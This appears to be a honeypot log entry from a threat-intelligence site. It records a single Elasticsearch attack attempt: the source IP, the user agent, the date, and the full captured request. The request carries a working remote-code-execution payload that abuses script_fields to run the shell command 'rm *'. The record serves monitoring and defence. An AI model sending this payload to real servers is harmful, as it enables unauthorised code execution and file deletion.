Attack cd38f5e9-81a5-479e-962e-f66199aa8265

Details

ID cd38f5e9-81a5-479e-962e-f66199aa8265
Attack Type elasticsearch
IP Address 118.25.101.219
Username
Password
Client Version Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)
Country China
Date 2020-02-25 07:50AM

Request Data

{
   "path": "",
   "method": "GET",
   "headers": {
     "Accept": "*/*",
     "User-Agent": "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0)",
     "Cache-Control": "no-cache"
   },
   "hostname": "45.63.107.63:9200",
   "form_data": {
     "source": "{\"size\":1,\"query\":{\"filtered\":{\"query\":{\"match_all\":{}}}},\"script_fields\":{\"exp\":{\"script\":\"import java.util.*;\\nimport java.io.*;\\nString str = \\\"\\\";BufferedReader br = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(\\\"rm *\\\").getInputStream()));StringBuilder sb = new StringBuilder();while((str=br.readLine())!=null){sb.append(str);}sb.toString();\"}}}"
   }
 }
© 2021 threat.gg